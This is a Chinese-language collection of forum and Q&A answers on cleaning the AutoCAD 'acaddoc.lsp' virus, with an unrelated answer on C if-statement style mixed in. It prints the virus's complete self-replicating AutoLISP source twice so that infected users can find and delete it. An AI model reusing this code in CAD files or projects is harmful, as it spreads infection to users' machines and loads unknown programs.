mnlc礦機吧

㈠ 運行CAD之後會自動生成一個lisp文件

保證你不在區域網 或者u盤不亂拷吧。我也中了 這個，清楚不徹底。一下是我自己收集的。

方法 一

acaddoc.lsp輸入的列表有缺陷（轉自LOVE空間）2009年04月07日 星期二 上午 11:14這個是個新病毒，用以往的解決方法（1.lps改名為acaddoc.lsp替換）無法解決，在網路搜索了一下看到網路空間有個帖子有相關解決辦法。

原帖如下：

今天在Q群里又見網友請求刪除CAD病毒，說用專殺工具也無法解決，於是讓他把病毒文件傳了給我。

打開文件一看，發現這個「acaddoc.lsp」文件內的程序代碼跟以往的「acaddoc.lsp」病毒文件不同。

該病毒文件自動搜索CAD支持路徑下的所有「*.mnl」文件和「*.lsp」文件。將病毒代碼（「acaddoc.lsp」文件內容）寫入「*.lsp」文件內，並在「*.mnl」文件中寫入「*.lsp」文件的載入路徑。同時，直線命令「line」、外部參照管理命令「xref」和分解（炸開）命令「explode」無法使用。

CAD系統感染該病毒文件後，只是簡單搜索刪除「acaddoc.lsp」文件，不能清除病毒。因為所有的「*.lsp」文件已經被修改，所有「*.lsp」文件都是病毒文件。

解決方法壹：

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、卸載CAD（必須卸載干凈，並進入C盤用戶目錄內刪除沒有卸載完的CAD文件）後，重新安裝CAD

解決方法貳：

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、找一台沒有被CAD病毒破壞、且安裝有相同版本CAD的電腦，復制其所有「*.lsp」文件和「*.mnl」文件至本機覆蓋原文件（包括C盤用戶目錄內的相關文件）

預防CAD病毒：

裝好CAD系統後，在沒有被病毒感染前，將CAD目錄內所有文件的屬性設置為只讀，可以減少中毒的機率。（此法99.999%有效）

附：C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\

其中×××是你登錄系統時的用戶名， 200×和R×.×分別是CAD的版本和版本代號。（注意：目錄C:\Documents and Settings\是系統隱藏文件夾）

轉帖地址：http://hi..com/liuhuibin1984/blog/item/fbe647233340a543ad34deb3.html

方法 二

CAD開機運行時會有一大串函數，並且產生acaddoc.lsp的文件處理方法，我用了，方法很好就轉過來了

以下是本人中了acaddoc.lsp病毒的後親身體驗的殺毒經歷。
開始也在網上找了很多所謂的CAD病毒專殺、acaddoc.lsp專殺什麼的軟體。。。全試了都沒有用。後來通過網上介紹的一些關於lsp病毒的特性，親身試驗後確實有效，在此和大家分享，希望能為大家解決一些問題。
下面言歸正傳，殺毒步驟如下：
1、全盤刪除acaddoc.lsp（包括隱藏文件夾）——————廢話了，呵呵
2、刪除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp
3、刪除C:\Documents and Settings\Administrator\Application。Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4、刪除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10個****.lsp文件。
5、COPY下面附件的alsp內的兩個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改為只讀。
6、COPY下面附件的mnl內的三個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改為只讀。
7、COPY下面附件的LSP內的十個文件到C:\Program Files\AutoCAD 2006\Support，改為只讀。

經以上步驟處理後，就完全可以放心使用了。

方法 三

CAD的病毒很多但都大同小異。現就出現的ACADDOC.LSP病毒進行殺毒。不用重新安裝CAD的辦法。
1、發現文件夾中多出ACADDOC.LSP說明你中毒了。
2、關閉CAD程序。
3、全盤查找 *.fas *.lsp *.mnl *.arx文件，除了CAD安裝目錄以外的全部刪除。
4、檢查CAD安裝目錄文件的修改時間，把最近的幾個文件中的病毒代碼刪除。（用記事本打開）
5、把CAD安裝目錄中的所有*.fas *.lsp *.mnl *.arx文件改為只讀屬性。

說明：
1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夾下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。
2、要刪除的病毒代碼在文件的尾部，具體如下：

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)

加入360督導委員會 參與全民護安全！ 論壇版主擴編，歡迎您的加入！

canesky
金幣：65
經驗：99
等級：學前班
功勛：無
簡訊
[回復此樓][引用][舉報] 2 樓 2010-06-11 09:27 頂！

寒梅雪松
金幣：15
經驗：51
等級：幼兒園
功勛：無
簡訊
[回復此樓][引用][舉報] 3 樓 2010-11-10 03:14 這個方法不管用

aimou108
金幣：15
經驗：55
等級：幼兒園
功勛：無
簡訊
[回復此樓][引用][舉報] 4 樓 2010-12-07 10:59 已解決！感謝360論壇！同時感謝qq！如果不是qq當年作出一個艱難的決定，我不會用上360.，也就不會知道360論壇。

樓主給我們提供了一個解決方案，但需要注意的是，病毒感染的並不僅僅是安裝目錄下的文件。如果僅僅清除安裝目錄下感染文件的代碼，是無效的。這也是很多朋友說這個方法不管用的原因。它同時感染了
C:\Documents and Settings\用戶名\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下的*.MNL文件。需要一並將上述代碼清除。
這個問題折騰了我幾個月，奶奶的。無毒一身輕啊。。。

㈡ cad2004 或者CAD2008每次運行後產生一個acad文件，非常討厭，如何去掉

是右下角那個氣泡提示嗎？你可以單擊右下角那個雷達小圖標--設置--將氣泡式通知 勾掉。在「檢查新內容」選擇「在需要時」。
如果提示「現在時間是X點XX分了的哦！好好乾哦！黨是不會虧待你的！老闆的眼睛是雪亮的啦！」等內容說明你中病毒了。上網上找下CAD病毒專殺查殺就行了。

㈢ C語言編程題

#include
main()
{
int a=10,b=0;
if(a=12) /*這個地方將a賦值為12，取代原來的10*/
{a=a+1;b=b+1;} /*這個地方將a和b各加1*/
else /*沒有執行*/
{a=a+4;b=b+4;} /*沒有執行*/
printf("%d;%d\n",a,b);
}// 最後面輸出a=13;b=1

--------------------------------

主要是弄錯了 = 和 ==
= 是賦值
== 是才判斷.

-----------------------------------------------
4.3 if 語句
if語句是C++/C語言中最簡單、最常用的語句，然而很多程序員用隱含錯誤的方式寫if語句。本節以「與零值比較」為例，展開討論。

4.3.1 布爾變數與零值比較
l 【規則4-3-1】不可將布爾變數直接與TRUE、FALSE或者1、0進行比較。
根據布爾類型的語義，零值為「假」（記為FALSE），任何非零值都是「真」（記為TRUE）。TRUE的值究竟是什麼並沒有統一的標准。例如Visual C++ 將TRUE定義為1，而Visual Basic則將TRUE定義為-1。
假設布爾變數名字為flag，它與零值比較的標准if語句如下：
if (flag) // 表示flag為真
if (!flag) // 表示flag為假
其它的用法都屬於不良風格，例如：
if (flag == TRUE)
if (flag == 1 )
if (flag == FALSE)
if (flag == 0)

4.3.2 整型變數與零值比較
l 【規則4-3-2】應當將整型變數用「==」或「！=」直接與0比較。
假設整型變數的名字為value，它與零值比較的標准if語句如下：
if (value == 0)
if (value != 0)
不可模仿布爾變數的風格而寫成
if (value) // 會讓人誤解 value是布爾變數
if (!value)

4.3.3 浮點變數與零值比較
l 【規則4-3-3】不可將浮點變數用「==」或「！=」與任何數字比較。
千萬要留意，無論是float還是double類型的變數，都有精度限制。所以一定要避免將浮點變數用「==」或「！=」與數字比較，應該設法轉化成「>=」或「<=」形式。
假設浮點變數的名字為x，應當將
if (x == 0.0) // 隱含錯誤的比較
轉化為
if ((x>=-EPSINON) && (x<=EPSINON))
其中EPSINON是允許的誤差（即精度）。

4.3.4 指針變數與零值比較
l 【規則4-3-4】應當將指針變數用「==」或「！=」與NULL比較。
指針變數的零值是「空」（記為NULL）。盡管NULL的值與0相同，但是兩者意義不同。假設指針變數的名字為p，它與零值比較的標准if語句如下：
if (p == NULL) // p與NULL顯式比較，強調p是指針變數
if (p != NULL)
不要寫成
if (p == 0) // 容易讓人誤解p是整型變數
if (p != 0)
或者
if (p) // 容易讓人誤解p是布爾變數
if (!p)

4.3.5 對if語句的補充說明
有時候我們可能會看到 if (NULL == p) 這樣古怪的格式。不是程序寫錯了，是程序員為了防止將 if (p == NULL) 誤寫成 if (p = NULL)，而有意把p和NULL顛倒。編譯器認為 if (p = NULL) 是合法的，但是會指出 if (NULL = p)是錯誤的，因為NULL不能被賦值。
程序中有時會遇到if/else/return的組合，應該將如下不良風格的程序
if (condition)
return x;
return y;
改寫為
if (condition)
{
return x;
}
else
{
return y;
}
或者改寫成更加簡練的
return (condition ? x : y);

㈣ CAD打開後出現函數錯誤

估計中毒了 你先重裝下CAD然後在C盤打開
C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2007\R17.0\chs\Support 把acad.mnl這個文件的屬性設置成只讀的 要先設置啊 裝好CAD做的第一件事就這個 估計以後就不會中acad.lsp、acadappp.lsp和acadapp.lsp之類的病毒了 而且Application Data是隱藏文件 注意啊 要不你找不到Application Data這個文件

㈤ CAD相關問題,無法找到acad.mnl,

鄙人用了一年的的cad,中了一年的毒，（始終感覺用一段時間，cad速度就會變慢，而且選擇集不在滑鼠的點上，有的時候甚至滑鼠在屏幕上瞬移，偶爾看不見滑鼠軌跡，無論是畫圖時的計算速度還是開啟程序的載入速度也不論04.05.07.08還是10都是一個結果）直到昨天才知道原本程序載入對了，可以節省這么多時間。

無意中看到cad中經常提示：輸入列表錯誤，參數類型錯誤這兩個小問題，心裡有的時候很著急，尤其是面對等待的客戶來說，自己比任何人都著急。原先一直以為是盜版所至。無聊中得知，這個是cad病毒，cad殺毒軟體無法清除，因為這個是cad的執行文件，無法刪除。解決方法很多，如下網路文獻：

是由於病毒在cad系統lisp文件（比如acad.mnl中）增加了一些載入病毒的命令，當病毒被殺掉後，載入病毒時就載入不到了，就會出現這種提示，如果cad沒有變慢，並且你也不在意的話就這樣用吧，1.搜索所有的文件（包括隱藏文件）是否有acad.sys和acad.fas文件，如果有全刪掉。2.如果還不行那就把cad支持目錄裡面的C:\Documents and Settings\********\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\support，的目錄，(*******是你的計算機登錄名稱)刪除所有support中所有文件，然後重新安裝
這個用cad病毒專殺是解決不了的，不過可以將 surport 目錄下面的lsp文件全部刪除，以及 logo.gif刪除，然後從沒有中毒的電腦復制lsp文件過來就OK了
1.搜索全盤的acaddoc.lsp，並刪除； 2.顯示隱藏文件； 3.把壓縮包里的1.lsp改名為acaddoc.lsp，再把改完後的acaddoc.lsp和acadapq.lsp覆蓋路徑C:\Documents and Settings\用戶名\Application Data\Autodesk\AutoCAD 2004\R16\chs\Support下相應的文件即可。 此方法在AutoCAD2004、AutoCAD2006、AutoCAD2008均測試成功我已經用這個方法成功清除AutoCAD2002中的病毒，但是要把改完後的acaddoc.lsp和acadapq.lsp覆蓋路徑C:\Program Files\AutoCAD 2002\Support下相應的文件，為了一勞永逸，我已經把這兩個文件改成只讀的。
如果您安裝天正，請不要刪除天正下的ACADDOC.LSP文件。
專業AutoCAD病毒專殺軟體 下載 ，也可以解決CAD病毒「錯誤: 輸入的列表有缺陷」的，大家可以試下判斷您的AutoCAD病毒程序的標准：檢查acad.lsp所在目錄下是否有acadapp.lsp，如果有，基本上可以肯定是CAD病毒程序。遇到CAD病毒程序時的處理辦法：使用 windows的查找功能在整個機器上查找acad.lsp和acadapp.lsp，把查找到的文件全部刪除掉即可。AutoCAD系統感染該病毒文件後，只是簡單搜索刪除「acaddoc.lsp」文件，不能清除病毒。因為所有的「*.lsp」文件已經被修改，所有「*.lsp」文件都是病毒文件。AutoCAD病毒「錯誤 輸入的列表有缺陷」解決辦法：
第一種方法 ①、關閉AutoCAD軟②、搜索並刪除所有「acaddoc.lsp」文件
③、找一台沒有被CAD病毒破壞、且安裝有相同版本AutoCAD的電腦，復制其所有「*.lsp」文件和「*.mnl」文件至本機覆蓋原文件（包括C盤用戶目錄內的相關文件）

第二種解決辦法：
查找您的機器的其它目錄中（主要是windows的系統目錄）是否還有這些文件：hysoft*.dll,KtCnPub*.dll及RyClient.dll sx32w.dll，如果有，刪除後試一下（除了軟體目錄下的）。（搜索文件時，注意選擇「搜索隱藏的文件」），一定要你的機器是ie為6或者更高版本，配置文件錯誤，執行options命令，把cad的配置設為<<未命名配置>>，然後刪除「HyAcs_52」配置。退出AutoCAD，重新進入acs。
打開CAD，命令欄英文閃爍，錯誤: 參數類型錯誤: streamp nil，按ESC鍵可終止
這個病毒的清除 ，如下：
1.全盤掃描所有的 *.mnl 和 *.lsp
2.清除每一個文件中 「(setq flagx t)」 行以下的所有內容；
3.清除後如果文件為空，則刪除之。

整理後如下經驗供大家分享（親測）：

1，為了鏟除病根，建議首先按文獻的說明掃描全盤（只要中了這個毒你打開過的cad文件全都會攜帶，而且是隱藏的格式）*。lsp文件，全部刪除，（現在很多同事電腦里同時都放了安裝包，看清了，別把安裝包裡面的給刪了）

2，徹底卸載cad(建議用360可以清除注冊表以及載入項)

3，重裝cad（有人看到這里覺得說到這里就很無語了，也許會想，既然重裝還費個什麼話還刪除lsp.那就錯了，重裝是因為要徹底清除的基礎上打防禦針。而且以後都不會中這個毒了。如果不重裝只用修復，病毒還是會找到你的，而且重裝和修復時間是相差無幾的）

4。（重點）重裝後切忌不可啟動cad.再次搜索*.lsp(安裝目錄下的)然後全選中把屬性改成只讀

這下就沒有問題了，哪怕是再次打開別人發過來的中毒文件也不會有問題了，測試後結果04.10都適用。

貼出來供大家分享！

㈥ acaddoc.lsp是病毒么怎麼解決 系統是win7

acaddoc病毒處理辦法

此文為轉載,原作者未明,但感謝原作者.
前言:?下文第一、二、三段無實質內容，可略過不讀。
一 病毒簡介:
最近公司里流傳一種cad病毒。該病毒可被卡巴斯基和360殺毒軟體查出。卡巴斯基查出病毒名為Virus.ALS.Pasdoc.a，360殺毒軟體查出病毒名為Trojan.Script.29327。遺憾的是，卡巴斯基和360殺毒軟體均不能將其徹底清除。

二 中毒症狀：
機器中毒後，運行CAD時，每打開一個dwg文件，均在dwg文件所在目錄下生成一個acaddoc.lsp的文件。由於每次開圖，病毒程序均進行一次病毒傳播復制過程，因此使得CAD開圖時速度變慢。
用記事本查看CAD安裝路徑下的support目錄下的任一*.lsp文件，如文件末尾含有與附件1相同的代碼，則可判定為中毒。

三 傳播機理：
通過分析病毒的源代碼，初步了解其傳播機理如下：
如機器已中毒，CAD新打開dwg文件時，病毒程序自動載入。並搜索CAD工作目錄下的acad.mnl文件，感染同一目錄下的*.mnl文件，搜索acad的support目錄，並感染該目錄下的所有*.lsp文件。同時病毒在當前打開的dwg文件所在目錄下生成acaddoc.lsp文件，以利於下次傳播。
如本機未中毒，而新打開的dwg文件所在目錄下有acaddoc.lsp文件，則病毒將感染上述目錄下的*.mnl與*.lsp文件。
該病毒的最終目的是調用acadapq 與 acadappp 兩個非法程序。至於這兩個程序會干什麼，暫未深入研究。

四 清除步驟：
退出CAD。
全盤搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然後徹底刪除上述文件。注意查找前在文件夾選項中設置「顯示所有文件與文件夾」以及取消「隱藏受保護的操作系統文件」。搜索時選擇「查找所有文件及文件夾」，然後在「高級選項」里勾選「搜索系統文件夾」「搜索隱藏的文件和文件夾」「搜索子文件夾」。
如果搜出的文件無法刪除，則先清空回收站，再搜索刪除。
註：探索者目錄下有個AcadDoc.lsp（注意大小寫）不是病毒文件，謹防誤刪。
查看C盤根目錄下是否有boot.dat文件，如有，則將其刪除。
進入C:\Documents and Settings\用戶名\Application Data\Autodesk\AutoCAD 2006（或AutoCAD2004）\R16.2\chs\Support目錄，用記事本打開該目錄下的所有*.mnl文件，手動刪除與附件1相同的代碼（一般都在文件末尾），然後保存。並將修改後的所有*.mnl文件屬性設置為「只讀」。
進入CAD安裝目錄下的support目錄，將該目錄下的所有*.lsp文件按步驟4方法處理。記得將其屬性設為「只讀」。
如果本機安裝有多個版本的CAD，都需按上述步驟檢查一次。

五 預防措施：
由於該病毒是通過讀取dwg文件所在的目錄下acaddoc.lsp來傳播的。因為在接受其他同事的文件夾時，應先檢查該文件夾中是否包含上述病毒文件。如有，則刪除之。同時也應該確保傳給其他同事的文件夾不要包含上述文件。
病毒會感染support目錄下的 *.lsp文件。因此建議新建一個文件夾，將常用的lisp程序放置在該文件夾下，同時在CAD選項中將其設置為工作搜索目錄。
未裝殺毒軟體的機器應首先將殺毒軟體裝上（360殺毒軟體免費的），在接受他人傳來的文件後應首先殺毒。
建議不要直接打開公共盤上的dwg文件，應先下載到本機再打開。

附件1: 病毒代碼
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)